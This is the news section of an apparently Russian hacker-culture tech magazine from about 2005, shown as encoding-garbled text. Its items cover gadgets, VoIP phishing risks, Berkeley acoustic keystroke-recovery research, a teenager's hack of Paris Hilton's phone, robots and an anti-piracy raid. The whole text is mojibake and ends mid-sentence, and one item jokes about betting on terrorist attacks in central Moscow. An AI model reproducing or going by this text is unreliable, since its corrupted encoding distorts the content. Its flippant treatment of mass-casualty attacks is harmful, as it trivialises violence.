øåì òåïëå è êîìôîðòå óæå ïîçà-
áîòèëèñü, íà ïðîøåäøåé â êîíöå
ñåíòÿáðÿ ëîíäîíñêîé âûñòàâêå
100% Design áûëî ïðåäñòàâëåíî

óíèêàëüíîå èçäåëèå � ðóêàâèöà äëÿ ìûøêè. Äàííóþ ðóêàâèöó ñëå-
äóåò ïîëîæèòü íà ñòîë íà ìåñòî êîâðèêà è çàñóíóòü â íåå ðóêó ñðà-
çó âìåñòå ñ ìûøêîé, äâèãàòü ãðûçóíîì ìîæíî ïðÿìî âíóòðè, ÷òî íè-
êàê íå ìåøàåò óïðàâëåíèþ. Â èòîãå ïîëó÷èëîñü êðàéíå çëîáîäíåâ-
íî, è åñëè ïðîèçâîäèòåëè ñäåëàëè, êàê îáåùàëè, è âíóòðè íå áóäåò
ñâåðõ-æàðêî, òî äàííàÿ âåùü îäíîçíà÷íî ïåðåõîäèò â ðàçðÿä must
have ê çèìíåìó ñåçîíó. Òîëüêî, óâû, íèêàêîé èíôîðìàöèè î ïîñòóï-
ëåíèè ðóêàâèöû â ïðîäàæó, à òåì áîëåå î ïîÿâëåíèè â Ðîññèè, ïî-
êà íå ïîñòóïàëî.

HITECHNEWS][NEWS
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Öèôðîâàÿ êîíâåðãåíöèÿ ïðîíèêëà è íà ðûíîê ôîòîòåõíèêè. Âîò åå
ïëîäû � êàìåðû Nikon COOLPIX P1 è COOLPIX P2 ïîääåðæèâàþùèå
Wi-Fi! Áëàãîäàðÿ ýòîé îïöèè òû ìîæåøü íå çàìîðà÷èâàòüñÿ íà ïðî-
âîäíîå ñîåäèíåíèå (îíî òóò ïðèñóòñòâóåò â âèäå USB), à ñðàçó îòïðàâ-
ëÿòü ïîëó÷åííûå ôîòîãðàôèè íà ïðèíòåð èëè êîìïüþòåð. Óäîáíî! Íî,
åñòåñòâåííî, ýòèì äåëî íå îãðàíè÷èâàåòñÿ. Ýòè ìîäåëè èìåþò ìàòðè-
öû íà 8 è 5 ìåãàïèêñåëåé, ôóíêöèè êîððåêöèè êàäðîâ íåïîñðåäñòâåí-
íî íà ôîòîàïïàðàòå, àâòîôîêóñèðîâêè ñ ïðèîðèòåòîì íà ëèöî è ïî-
äàâëåíèÿ ýôôåêòà «êðàñíûõ ãëàç». Òàêæå ïîääåðæèâàåòñÿ ñúåìêà
âèäåîðîëèêîâ, ïðè÷åì åñòü ñåìü ðàçíûõ ðåæèìîâ ñúåìêè. Îáå êàìå-
ðû èìåþò 2,5-äþéìîâûé ÆÊ-ýêðàí, òàêæå â êîìïëåêòå ñ  íèìè ïîñòàâ-
ëÿåòñÿ ñïåöèàëüíîå ÏÎ PictureProject, îáëåã÷àþùåå ïðîöåññ ðåäàêòè-
ðîâàíèÿ èçîáðàæåíèé, ôîðìèðîâàíèÿ ñëàéä-øîó, ñîçäàíèÿ âèäåîðî-
ëèêîâ ñî çâóêîâûìè ýôôåêòàìè, îáìåíà èçîáðàæåíèÿìè, à òàêæå ïîç-
âîëÿþùåå äåëàòü ìíîãèå äðóãèå âåùè. Â îáùåì, äîëîé ïðîâîäà, Wi-
Fi äîáðàëñÿ è äî öèôðîâûõ êàìåð!

U.S.ROBOTICS ÏÅÐÅ-
ÕÎÄÈÒ ÍÀ G-LAN

×òîáû òî æå ñàìîå ñäåëàëè è ìû, USR âûïóñêàåò ïðîäóêòû, êîòîðûå
ïîääåðæèâàþò ñòàíäàðò Gigabit Ethernet. Ñåãîäíÿ ýòî ïàðà ñåòåâûõ
ïëàò, à òàêæå îáîðóäîâàíèå, êîòîðîå âðÿä ëè òåáå ïðèãîäèòñÿ, åñëè
òîëüêî òû íå ñîáèðàåøüñÿ âñòóïèòü íà òåðíèñòûé ïóòü îðãàíèçàöèè
ñîáñòâåííîé ËÂÑ. Îáû÷íûì ïîëüçîâàòåëÿì íàñòîëüíûõ êîìïüþòå-
ðîâ ïîäîéäåò óñòðîéñòâî Gigabit Ethernet 10/100/1000 Ethernet 64-bit
PCI Server, êîòîðîå ïîääåðæèâàåò àâòîìàòè÷åñêîå îïðåäåëåíèå ñêî-
ðîñòè ïåðåäà÷è äàííûõ, àâòîìàòè÷åñêîå âêëþ÷åíèå è ôóíêöèþ
Wake-on-LAN. Ñåòåâàÿ ïëàòà Gigabit Ethernet 10/100/1000 Ethernet
CardBus ïðåäíàçíà÷åíà äëÿ ìîáèëüíûõ ÏÊ, â êîòîðûõ ïðîèçâîäèòåëü
ïî÷åìó-òî íå óñòàíîâèë ñåòåâóþ ïëàòó, ñîâìåñòèìóþ ñî ñòàíäàðòîì
GigabitEthernet. Åñëè òû ÿâëÿåøüñÿ ïðîâàéäåðîì èëè àäìèíîì ñåòè,
òî, âîçìîæíî, òåáÿ çàèíòåðåñóþò êîììóòàòîðû, îñíàùåííûå âî-
ñåìüþ, øåñòíàäöàòüþ èëè äâàäöàòüþ ÷åòûðüìÿ ïîðòàìè. Åñòåñòâåí-
íî, ãèãàáèòíûìè. Òàê ÷òî ñîîáùàé î íîâèíêàõ ñâîåìó ïðîâó è æäè,
êîãäà îí ñìåíèò îáîðóäîâàíèå.

][NEWSHARDNEWS

ÏÐÅÄÑÊÀÆÈ 
ÒÅÐÐÀÊÒ � ÏÎËÓ×È
ÔÓÒÁÎËÊÓ

Â òî âðåìÿ, êàê òåð-
ðàêòû ïðîäîëæàþò
ïðîõîäèòü â ðàçíûõ
óãîëêàõ ìèðà, ïðàâî-
îõðàíèòåëüíûå ñòðóê-
òóðû ïûòàþòñÿ êàê
òî ñ ýòèì áîðîòüñÿ,
ðîäñòâåííèêè ïîãèá-
øèõ  îïëàêèâàþò ñâî-
èõ� à ñåòåâûå ãåíèè
äåëàþò èç ýòîãî çà-
áàâó. Â îäíîé èç òà-
êèõ «çàáàâ» ìîæåøü
ïîó÷àñòâîâàòü è òû.
Â Ñåòè íåäàâíî ïîÿ-
âèëñÿ ñàéò, ãäå
ïðåäëàãàåòñÿ ïðåäñ-
êàçàòü, ãäå è êîãäà
ïðîèçîéäåò ñëåäóþ-
ùèé òåðàêò. Ïðîñòî
òûêàåøü â êàêóþ-íè-
áóäü òî÷êó íà âèðòó-
àëüíîé êàðòå, è, åñ-
ëè òàì â áëèæàéøåì
áóäóùåì ñëó÷àéíî
ãðÿíåò âçðûâ, â ðå-
çóëüòàòå êîòîðîãî

îòêèíåòñÿ íå ìåíüøå 10 ÷åëîâåê, òåáå âðó÷àò ôóòáîëêó ñ ãîðäîé íàä-
ïèñüþ: «ß ïðåäñêàçàë ýòî!». Ãëàâíîå, íå òûêíóòü â ×å÷íþ èëè åùå êó-
äà-òî, ãäå âåäóòñÿ âîéíóøêè � ïî ïðàâèëàì êîíêóðñà øàðàõíóòü
äîëæíî â «ñïîêîéíîì» ìåñòå. Êîíå÷íî, íåêîòîðûå îðãàíèçàöèè, ìÿã-
êî ãîâîðÿ, íå îäîáðÿþò ïîäîáíîé çàòåè è íàçûâàþò ñîçäàòåëåé ñàé-
òà áåññåðäå÷íûìè ñêîòàìè. Íî õàëÿâíàÿ ôóòáîëêà åñòü õàëÿâíàÿ
ôóòáîëêà, è ñâîé ïðîãíîç, îòíîñÿùèéñÿ ê öåíòðó Ìîñêâû, ÿ óæå çàðå-
ãèñòðèðîâàë. Ãû-ãû.

ÀÓÄÈÎÕÀÊ 
ÍÅ ÇÀ ÃÎÐÀÌÈ
Åñëè òû äî ñèõ ïîð ïîëüçóåøüñÿ òåëåôîíîì äëÿ ìåæäóãîðîäíèõ çâîí-
êîâ, òî òû îòñòàëûé îò æèçíè âàëåíîê. Ïðîäâèíóòûå ìåíû òàêèå, êàê ÿ,
þçàþò IP-òåëåôîíèþ (VoIP) è ñåðâèñû, êîòîðûå ïîçâîëÿþò çâîíèòü ÷å-
ðåç ñåòü íà ëþáîé íîìåð áåçâîçìåçäíî, òî åñòü äàðîì. Ñàìûì èçâåñò-
íûì è ïîïóëÿðíûì òàêèì ñåðâèñîì ÿâëÿåòñÿ Skype, çàïóùåííûé â êîí-
öå ïðîøëîãî ãîäà, à äîñòîéíîé àëüòåðíàòèâîé åìó ñòàë ïîÿâèâøèéñÿ
÷óòü ïîçæå Google Talk, îáúåäèíÿþùèé VoIP è èíåò-ïåéäæåð. Íå îòêëà-
äûâàÿ äî 2006 ãîäà, ê íèì ñîáèðàþòñÿ ïðèñîåäèíèòüñÿ Microsoft, eBay,
Yahoo! Çâîíèòü ïî ñåòêå, êîíå÷íî, óäîáíî è âûãîäíî, íî ñåòåâûå àíà-
ëèòèêè ñ÷èòàþò, ÷òî ñ ðàçâèòèåì ïîïóëÿðíîñòè IP-òåëåôîíèè, åå æäåò
çëàÿ äîëÿ, ïîñòèãøàÿ Èíòåðíåò � íàøåñòâèå ñïàìà è ôèøèíãà. À ôèã-

ëè âû õîòåëè, íîâûå
òåõíîëîãèå � ýòî íî-
âûå ïåðñïåêòèâû äëÿ
âíóêîâ Îñòàïà. Òàê
÷òî åñëè ðàíüøå âû-
ìàíèâàëè, âûäóðèâà-
ëè è âûìîãàëè ïàðî-
ëè ÷åðåç www, òåïåðü
ýòî áóäóò äåëàòü âîé-
ñîì.  Ïî ìíåíèþ âñå
òåõ æå àíàëèòèêîâ,
õàêåðñêàÿ àêòèâ-
íîñòü VoIP-ñåòÿõ íà÷-
íåòñÿ â áëèæàéøèå
18 ìåñÿöåâ. Äåðæè
óõî âîñòðî, ìîé äðóã.
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ÌÀÒÏËÀÒÛ

Íåáåçûçâåñòíàÿ îòå÷åñòâåííàÿ êîìïàíèÿ Ôîðìîçà ïðèñòóïèëà ê âûïóñêó
ñèñòåìíûõ ïëàò, ïîñòðîåííûõ íà ÍÌÑ nVidia nForce 4 è nForce 4 Ultra. Ýòè
èçäåëèÿ ðàññ÷èòàíû íà ðàáîòó ñ ïðîöåññîðàìè AMD Athlon 64\FX\X2 ïîä
Socket 939, èìåþò 4 ñëîòà äëÿ ïàìÿòè ñ ïîääåðæêîé ðåæèìà Dual Channel
DDR, ïîðòû øèí PCI Express x16 (îäèí), PCI Express x1 (äâà) è PCI (òðè),
4 ïîðòà SATA (SATA-II äëÿ Ultra-âåðñèè), 4 ïîðòà IDE, âîçìîæíîñòü ñîçäà-
íèÿ SATA RAID-ìàññèâîâ, âñòðîåííûå âîñüìèêàíàëüíûé çâóêîâîé êîäåê
è ãèãàáèòíûé ñåòåâîé àäàïòåð. Íåìàëîâàæíûì äîñòîèíñòâîì íîâûõ ïëàò
ÿâëÿåòñÿ èõ öåíà � ìåíåå ñòà äîëëàðîâ äëÿ îáû÷íîé è ÷óòü áîëåå ñòà äëÿ
Ultra-âåðñèè. Òàêîé ðåçóëüòàò äîñòèãàåòñÿ áëàãîäàðÿ ñîáñòâåííîé ïðîèç-
âîäñòâåííîé ëèíèè, ðàñïîëîæåííîé â Ìîñêâå. Òàì ïëàòû ñîáèðàþòñÿ èç
ïðèâîçíûõ êîìïîíåíòîâ è ïðîõîäÿò ñòðîãèå òåñòû íà êà÷åñòâî. Êðîìå
ðîçíè÷íîé ïðîäàæè, ýòè èçäåëèÿ (FORMOZA FVNF4 è FVNF4 Ultra) ìîæ-
íî áóäåò îáíàðóæèòü â êîìïüþòåðàõ îäíîèìåííîãî ïðîèçâîäèòåëÿ.

20 ÄÞÉÌÎÂ BENQ
Òåì, êòî íå ëþáèò ñåáÿ â ÷åì-òî îãðàíè÷èâàòü, ìîæíî ïîñîâåòîâàòü ïðè-
îáðåñòè íåìàëåíüêèé ÆÊ-ìîíèòîð îò êîìïàíèè BenQ. Îí íàçûâàåòñÿ
FP2091 è èìååò áîëåå ÷åì 20-äþéìîâóþ äèàãîíàëü è ðàçðåøåíèå
1600õ1200. Äðóãèå õàðàêòåðèñòèêè òîæå õîðîøè: êîíòðàñòíîñòü 500:1,
âðåìÿ îòêëèêà 16 ìñ, ÿðêîñòü 290 êä/ì2, óãîë îáçîðà 178° êàê ïî ãîðèçîí-
òàëè, òàê è ïî âåðòèêàëè. Êðîìå òîãî, ÷òî îí õîðîøî ïîêàçûâàåò, ó íåãî
åñòü ìíîãî èíòåðåñíûõ äîïîëíèòåëüíûõ ôóíêöèé. Ýòî âîçìîæíîñòü ïîäê-
ëþ÷åíèÿ ê ÒÂ-òþíåðó èëè DVD-ïðîèãðûâàòåëþ, âîçìîæíîñòü ðàáîòû â ðå-
æèìå PIP (êàðòèíêà â êàðòèíêå) ñ ïîìîùüþ ïîðòà S-Video èëè êîìïîçèò-
íîãî âõîäà, ïîääåðæêà ïîðòðåòíîãî ðåæèìà, èíòåëëåêòóàëüíàÿ ñèñòåìà
íàñòðîéêè i-key. Åñòü â íåì è ÷åòûðå ïîðòà USB, ïîçâîëÿþùèå ïîäêëþ÷àòü
ê ýêðàíó ðàçíûå äîïîëíèòåëüíûå óñòðîéñòâà. Â îáùåì, ýòîò áîëüøîé ìî-
íèòîð âïîëíå ñïîñîáåí çàíÿòü ìåñòî íà òâîåì ñòîëå, îí ýòîãî äîñòîèí.

HARDNEWS

ÍÅ ØÓÌÈ ÊËÀÂÎÉ
Èíòåðåñíîå îòêðûòèå
ñäåëàëè ó÷åíûå èç Êà-
ëèôîðíèéñêîãî èíñ-
òèòóòà â Áåðêëè. Îêà-
çûâàåòñÿ, ìîæíî çàï-
ðîñòî âîññòàíîâèòü íà-
áèðàåìûé þçåðîì
òåêñò ñ ïîìîùüþ íå-
äîðîãîãî ïðîñëóøè-
âàþùåãî óñòðîéñòâà
è ïðîãðàììû, ðàñ-
ø è ô ð î â û â à þ ù å é
ñòóê êëàâèàòóðíûõ êëà-
âèø. Êàæäàÿ êëàâè-
øà ïðè íàæàòèè ñîç-
äàåò óíèêàëüíûé çâóê,
è êîìïüþòåð ðàçíèöó
ìåæäó ýòèìè çâóêàìè

äîñòàòî÷íî õîðîøî îùóùàåò. ×òîáû óâåëè÷èòü òî÷íîñòü ñîâïàäåíèÿ,
íóæíî «ïðîãíàòü» ðàñøèôðîâùèê íåñêîëüêî ðàç. Íàïðèìåð, âî âðåìÿ
îïûòîâ â Áåðêëè, ïðè ïåðâîíà÷àëüíîì çàïóñêå êîìïüþòåðó óäàëîñü
ðàñïîçíàòü 60% ñèìâîëîâ è 20% ïîëíûõ ñëîâ, íî óæå ê òðåòüåìó ðàçó
òî÷íîñòü âîçðàñòàåò äî 90%. Â îñíîâå àëãîðèòìà ëåæèò íå òîëüêî îï-
ðåäåëåíèå çâóêîâ êëàâèø, íî è îñîáåííîñòè ãðàììàòèêè. Âåäü â ðóñ-
ñêîì ÿçûêå ïîñëå «Áë» ñêîðåå âñåãî ïîñëåäóåò ïîñëåäíÿÿ áóêâà àë-
ôàâèòà, ÷åì òâåðäûé çíàê. Îñòàåòñÿ òîëüêî ïðîáëåìà ñ øèôòîì,
êîíòðîëîì è êàïñëîêîì, íî ó÷åíûå îáåùàþò ðåøèòü è åå. Íå íóæíî
áûòü ãåíèåì, ÷òîáû ñîîáðàçèòü, ÷òî îòêðûòèå èññëåäîâàòåëåé èç
Áåðêëè ìîæåò äàòü õàêåðàì â ðóêè ìîùíîå îðóæèå äëÿ äîáûâàíèÿ ïà-
ðîëåé. Äîñòàòî÷íî ïðèëåïèòü íåçàìåòíûé æó÷îê ê êëàâèàòóðå èëè
ñòîëó þçåðà, è ïðîãðàììà âûñâåòèò òåáå áåç âñÿêèõ ñíèôåðîâ âñå òî,
÷òî îí ââåë. Ïîýòîìó ïðîãðåññ â ýòîé îáëàñòè, ñêîðåå âñåãî, áóäåò
êîíòðîëèðîâàòüñÿ. À ïóáëè÷íî è ïîäðîáíî î ðåçóëüòàòàõ ñâîèõ ýêñïå-
ðèìåíòîâ ó÷åíûå ïîäåëÿòñÿ íà êîìïüþòåðíîé êîíôåðåíöèè â Àëåêñà-
íäðèè (ÑØÀ), êîòîðàÿ ïðîéäåò 10 íîÿáðÿ.

17-ËÅÒÍÈÉ ÃÐÎÇÀ
ÃÎËËÈÂÓÄÀ

Ïðîøëûì ìåñÿöåì â àìåðèêàíñ-
êîì øòàòå Ìàññà÷óñåòñ ñîñòîÿëñÿ
ñóä íàä 17-ëåòíèì ïîäðîñòêîì,
àðåñòîâàííûì çà âçëîì ìîáèëü-
íîãî òåëåôîíà ãîëëèâóäñêîé
çâåçäû Ïýðèñ Õèëòîí. Ìàëûøêà
Ïýðèñ, ïîìíèòñÿ, çàâåðÿëà, ÷òî
íèêîãäà åå îáíàæåííàÿ íàòóðà íå
áóäåò ìàðàòü Èíòåðíåò. Â ñìûñëå,
îíà íèêîãäà íå áóäåò ìàðàòüñÿ,
âûñòàâëÿÿ ñåáÿ â îáíàæåííîé íà-
òóðå ïåðåä Èíòåðíåòîì. Íî ïðîîò-
âå÷àëàñü. Íàø þíûé ôðèêåð õàê-
íóë ìîáèëêó ìèññ Õèëòîí è ñëèë
ïðèâàòíûå ôîòêè, ãäå òåòÿ ïîçè-
ðóåò áåç áþñòãàëüòåðà â îáíèìêó
ñ ïîäðóæêîé. Ñíèìêè ïîïàëè íà
GenMay.com, à ÷åðåç ýòîò ñàéò î
íèõ óçíàë âåñü ìèð. Ïýðèñ Õèëòîí
ïðèâëåêëà ê ðàññëåäîâàíèþ ÷óòü
ëè íå âñþ ïîëèöèþ øòàòîâ, è, â

êîíöå êîíöîâ, íåãîäÿÿ íàøëè. Îêàçàëîñü, ÷òî ìàëîëåòíèé òåëåôîííûé
õóëèãàí, íà ñàìîì äåëå íèêàêîé íå õóëèãàí, à ñàìûé íàñòîÿùèé ôðè-
êåð-ìàôèîçè, õàêíóâøèé êðóïíåéøèå òåëåôîííûå êîìïàíèè AOL, T-
Mobile, LexisNexis, êó÷ó èíòåðíåò-ïðîâàéäåðîâ è ñîòîâûõ îïåðàòîðîâ. Ó
ïàðíÿ íàøëè òåëåôîííóþ áàçó äàííûõ ìíîãèõ çíàìåíèòîñòåé, ñîáðàí-
íóþ ñ òåëåôîíîâ æåðòâ, ïîäîáíûõ Ïýðèñ, è ïðèâàòíûå ôîòîñíèìêè ãîë-
ëèâóäñêèõ çâåçä. Ôðèêåð îêàçàëñÿ íå îäèíî÷êîé è äåéñòâîâàë ñ ãðóï-
ïîé ñîîáùíèêîâ � òàêèõ æå òèíåéäæåðîâ-ôðèêåðîâ. Íà ñóäå ÷óâàêà
ïðèçíàëè âèíîâíûì è îòïðàâèëè íà ãîä â èñïðàâèòåëüíóþ êîëîíèþ äëÿ
íåñîâåðøåííîëåòíèõ. À ïîñëå îòñèäêè åãî îæèäàþò åùå 2 ìó÷èòåëüíûõ
ãîäà áåç êîìïüþòåðîâ, ñîòîâûõ òåëåôîíîâ è Èíòåðíåòà.
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ÏÎÄÊÎÆÍÛÉ 
ÄÈÑÏËÅÉ

Íàíîòåõíîëîãèè ñîáèðàþòñÿ â áóäóùåì òâîðèòü íàñòîÿùèå ÷óäåñà.
Íàïðèìåð, àìåðèêàíñêèé èíæåíåð Äæèíà Ìèëëåð ïðåäñòàâèëà îáùåñò-
âåííîñòè ãîòîâûé êîíöåïò ïîäêîæíîãî äèñïëåÿ. Ïðè÷åì ýòî âîâñå íå èç
îáëàñòè ôàíòàñòèêè, à îñíîâàíî íà ðåàëüíûõ íàó÷íûõ èññëåäîâàíèÿõ.
Ïîä ïîâåðõíîñòü êîæè íà âíåøíåé ñòîðîíå êèñòè ïëàíèðóåòñÿ âíåäðÿòü
ïîðÿäêà òðåõ ìèëëèàðäîâ ìèêðîñêîïè÷åñêèõ ðîáîòîâ-ïèêñåëåé, êîòî-
ðûå, èñïóñêàÿ ôîòîíû, áóäóò ôîðìèðîâàòü íà ïîâåðõíîñòè êîæè òðåáó-
åìîå èçîáðàæåíèå. Äëÿ óïðàâëåíèÿ äèñïëååì äîñòàòî÷íî áóäåò ïðîñòî
ïðèêîñíóòüñÿ ê íåìó ïàëüöåì äðóãîé ðóêè. Îñíîâíîå ïðåäíàçíà÷åíèå
äàííîé êîíöåïöèè íå ôóíêöèè ÊÏÊ (õîòÿ òàêîå òîæå âîçìîæíî), à âû-
âîä èíôîðìàöèè îò ïóòåøåñòâóþùèõ ïî îðãàíèçìó ìåäèöèíñêèõ íàíî-
ðîáîòîâ, à òàêæå óïðàâëåíèå èõ äåÿòåëüíîñòüþ. Íî ïîêà âñå ýòî îïèñà-
íî ëèøü «íà áóìàãå», î êàêèõ-ëèáî ñðîêàõ íà÷àëà ïîëíîöåííûõ ýêñïå-
ðèìåíòîâ, à òåì áîëåå ìàññîâîé ðåàëèçàöèè, íèãäå íå óïîìèíàåòñÿ.

ÐÎÁÎÒ-ÀÊÐÎÁÀÒ
Âñåîáùåå ìíåíèå î òîì, ÷òî ðî-
áîòû ìåäëèòåëüíûå è íåïîâîðîò-
ëèâûå èñòóêàíû, íà÷èíàåò ïîñòå-
ïåííî ðàçâåèâàòüñÿ. È äàííûé
ýêçåìïëÿð î÷åðåäíîå òîìó ïîäò-
âåðæäåíèå. Â Òîêèéñêîì Óíèâåð-
ñèòåòå ñîáðàí 60-òè êèëîãðàììî-
âûé ðîáîò ïî èìåíè R Daneel, êî-
òîðûé ìîæåò íå òîëüêî ïîäíÿòü-
ñÿ ñ ïîëà íà íîãè, íî è ñäåëàòü
ýòî ýôôåêòíûì ñïîñîáîì, ïî÷òè
êàê õîðîøî íàòðåíèðîâàííûé ÷å-
ëîâåê. Äëÿ ýòîãî îí, ëåæà íà ñïè-
íå, ñíà÷àëà, ïîäíèìàÿ íîãè, ïå-
ðåêàòûâàåòñÿ íà ñïèíó, è çàòåì,
ïîëó÷èâ äîñòàòî÷íûé èìïóëüñ,
ðåçêî âîçâðàùàåòñÿ â èñõîäíîå
ïîëîæåíèå è âñòàåò íà íîãè. 
Åñòåñòâåííî, ýòî íå êîíå÷íàÿ öåëü
ðàçðàáîòêè � ïðåäïîëàãàåòñÿ è
äàëüøå ñîâåðøåíñòâîâàòü ïîä-
âèæíîñòü ðîáîòîâ, îáó÷àÿ èõ íîâû-
ìè äâèæåíèÿìè, â ÷àñòíîñòè, â ñêî-
ðîì âðåìåíè îíè ñìîãóò äàæå ïðû-
ãàòü. Êàê çíàòü, ìîæåò áûòü, ñî
âðåìåíåì òàêèå ðîáîòû âîññòàíóò
ïðîòèâ íàñ :).
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ÊÎÑÌÎÑ ÄËß 
ÏÐÎÃÐÀÌÌÅÐÎÂ

Êîìïàíèÿ Oracle îáúÿâèëà îá îêîí÷àíèè êîíêóðñà Oracle Space
Sweepstakes, ãëàâíûì ïðèçîì áûëà ïóòåâêà â êîñìîñ. Ïîáåäèòåëåì
ñòàë Áðàéàí Ýììåòò, 30-ëåòíèé ïðîãðàììèñò èç ôèðìû Stryker. Âû-
ïîëíèâ òåñòîâîå çàäàíèå, ãäå ïðåäëàãàëîñü íàïèñàòü ñëîæíóþ ïðîã-
ðàììó, îí îòïðàâèë ðåøåíèå â Oracle. Âñå, êòî ïðîøåë îòáîð, ïðèíÿ-
ëè ó÷àñòèå â êîìïüþòåðíîé æåðåáüåâêå, è Áðàéàí îêàçàëñÿ ñàìûì
ñ÷àñòëèâûì. Ïðîãðàììèñò îòïðàâèòñÿ ëþáîâàòüñÿ çâåçäàìè â èëëþ-
ìèíàòîðå ïîñëå ïðîõîæäåíèÿ òðåíèðîâêè íà ÷àñòíîì êîðàáëå êîìïà-
íèè Space Adventures. Ýòà êîìïàíèÿ óæå óñïåøíî îòïðàâëÿëà â êîñ-
ìîñ äâóõ òóðèñòîâ � Äýííèñà Òèòî è Ìàðêà Øàòòëóîðòà, è â áóäóùåì
ïëàíèðóåò ïîñòàâèòü òàêèå êðóèçû íà øèðîêóþ íîãó. ×òî æ, ïîæåëàåì
Áðàéàíó óäà÷è è íåçàáûâàåìûõ âïå÷àòëåíèé, âñå-òàêè íå êàæäûé
äåíü â êîñìîñ ëåòàþò ïðîãðàììèñòû.

Â ÑÀÌÀÐÅ ÊÎÍÔÈÑ-
ÊÎÂÀËÈ ÌÈËËÈÎÍ CD

Ñ àâãóñòà ïî ñåí-
òÿáðü â Ñàìàðå ïðî-
øåë êðóïíûé àíòèïè-
ðàòñêèé ðåéä, â ðå-
çóëüòàòå êîòîðîãî
ïðàâîîõðàíèòåëüíûå
îðãàíû êîíôèñêîâà-
ëè îêîëî ìèëëèîíà
ïèðàòñêèõ CD (âñåãî
íà 100 ìèëëèîíîâ
ðóáëåé). Áîëüøóþ
÷àñòü ïàðòèè èçúÿëè

â îäíîì èç ïîäïîëüíûõ ñêëàäîâ, ãäå äèñêè óïàêîâûâàëè ñ ïîìîùüþ
ñïåöèàëüíîé òåõíèêè è ðàçâîçèëè ïî òî÷êàì ðåàëèçàòîðîâ. Èìåíà âëà-
äåëüöåâ ñêëàäà íå àôèøèðóþòñÿ, íî óæå èçâåñòíî, ÷òî äèñêè ïðèíàä-
ëåæàò îðãàíèçàöèè «Ñîþç», â êîòîðóþ âõîäÿò íåñêîëüêî ïèðàòñêèõ
êîìïàíèé. Åñëè ìèëèöèè äåéñòâèòåëüíî óäàëîñü íàêðûòü ñòîëü ñåðü-
åçíîãî ïîñòàâùèêà, òî èì åñòü ÷åì ãîðäèòüñÿ � ìíå âñïîìèíàåòñÿ
ëèøü ïàðà-òðîéêà ñëó÷àåâ êîíôèñêàöèè â Ðîññèè ïàðòèè òàêîãî ìàñø-
òàáà. Õîòÿ ýêñïåðòû ñîìíåâàþòñÿ â ÷åñòíîñòè íàøèõ áëþñòèòåëåé ïî-
ðÿäêà, òàê êàê â Ñàìàðå íå òå îáúåìû ïðîäàæ, ÷òîáû èìåëî ñìûñë õðà-
íèòü â îäíîì ìåñòå ìèëëèîí CD. Íî äåëî çàâåäåíî è, êàê ãîâîðèòñÿ,
âåäåòñÿ ñëåäñòâèå. Ìîå ñî÷óâñòâèå ñàìàðñêèì ÷èòàòåëÿì, íà ðîäèíå
êîòîðûõ âîçìîæíî îæèäàåòñÿ äåôèöèò äåøåâîãî âàðåçà.

ÄÍÊ ÈÇ ÐÎÁÎÒÎÂ

Ïîä ðóêîâîäñòâîì Äæîçåôà Äæåêîáñîíà êîìàíäà ó÷åíûõ èç Ìàññà-
÷óñåòñêîãî Òåõíîëîãè÷åñêîãî Óíèâåðñèòåòà ñîçäàëà öåëóþ êîëîíèþ
íåáîëüøèõ ðîáîòîâ, êîòîðûå ìîãóò ñàìîñòîÿòåëüíî ñîáèðàòüñÿ â
ñëîæíûå êîíñòðóêöèè, èìèòèðóþùèå ñòðóêòóðó ÄÍÊ. Âñå ñîáðàííûå
ðîáîòû äåëÿòñÿ íà äâà òèïà � çåëåíûå è æåëòûå, ïðè÷åì êàæäûé èç
íèõ ñïîñîáåí îïðåäåëÿò öâåò ñîñåäíåãî. Êàæäûé ðîáîò ïîñòîÿííî
ñòðåìèòñÿ ñîåäèíèòüñÿ ñ äâóìÿ äðóãèìè, ïðè ýòîì ñòàðàåòñÿ, ÷òîáû ê
íåìó áûëè îäíîâðåìåííî ïðèñîåäèíåíû ðîáîòû ëèøü ðàçíûõ öâåòîâ.
Åñëè êàêîå-òî çâåíî îïîçíàåò îøèáêó, ÷òî ê íåìó ïîäñîåäèíèëèñü îä-
íîöâåòíûå ðîáîòû, òî ñèñòåìà ìîæåò àâòîìàòè÷åñêè ïåðåñòðàèâàòü-
ñÿ äëÿ ñîçäàíèÿ ïðàâèëüíîé êîíôèãóðàöèè. Äåéñòâóÿ ïî âûøåîïè-
ñàííîìó ïðèíöèïó, çà íåïðîäîëæèòåëüíîå âðåìÿ èç áåñïîðÿäî÷íîé
êó÷è ñòðîéìàòåðèàëîâ âûñòðàèâàåòñÿ îðãàíèçîâàííàÿ ñòðóêòóðà,
ïðè÷åì êàêàÿ êîíñòðóêöèÿ ïîëó÷èòñÿ â ðåçóëüòàòå, èçíà÷àëüíî ïðå-
äóãàäàòü íåëüçÿ.

×ÀÑÛ � ÊËÞ×
Äëÿ ñâîèõ íîâûõ ðîñêîøíûõ àâòîìîáèëåé Crown, ïðåäñòàâëåííûõ â ßïî-
íèè â íà÷àëå îêòÿáðÿ, êîðïîðàöèÿ Toyota ðàçðàáîòàëà íîâûé òèï áåñïðî-
âîäíûõ êëþ÷åé. Îòíûíå áîëüøå íå íàäî ïîñòîÿííî íîñèòü ñ ñîáîé áðå-
ëîê öåíòðàëüíîãî çàìêà, òåïåðü ôóíêöèè êëþ÷à âûïîëíÿþò ñïåöèàëüíûå
íàðó÷íûå ÷àñû, êîòîðûå ñ âèäó ñëîæíî îòëè÷èòü îò îáûêíîâåííûõ. Òå-
ïåðü äëÿ òîãî, ÷òîáû îòêðûòü ëþáóþ èç äâåðåé äîñòàòî÷íî ïðîñòî ïîòÿ-
íóòü çà ðó÷êó, è åñëè ñèñòåìà îïðåäåëèò, ÷òî íà âëàäåëüöå ïðàâèëüíûå
÷àñû, òî äâåðü îòêðîåòñÿ. Òî÷íî òàêæå äëÿ âêëþ÷åíèÿ èëè âûêëþ÷åíèÿ
çàæèãàíèÿ äîñòàòî÷íî ïðîñòî íàæàòü ñîîòâåòñòâóþùóþ êíîïêó. Äëÿ òåõ,
êîìó íåîõîòà ïà÷êàòü ðóêè î äâåðíóþ ðó÷êó, íà ÷àñàõ ïðåäóñìîòðåíû
åùå è êíîïêè äèñòàíöèîííîãî óïðàâëåíèÿ. Îáîðóäîâàíèå ìàøèíû íî-
âèíêîé îáîéäåòñÿ ïîêóïàòåëþ â äîïîëíèòåëüíûå 42000 éåí.



ÓÌÍÀß ÏÎÄÑÒÀÂÊÀ
ÄËß ÏÈÂÀ
Â ìîìåíò îòäûõà îò òÿæåëîé íàó÷íîé äåÿòåëüíîñòè, à èìåííî âî âðåìÿ
ðàñïèòèÿ â áàðå ïèâà ñî ñâîèìè ñòóäåíòàìè, äâîèì äðóçüÿì-ó÷åíûì èç
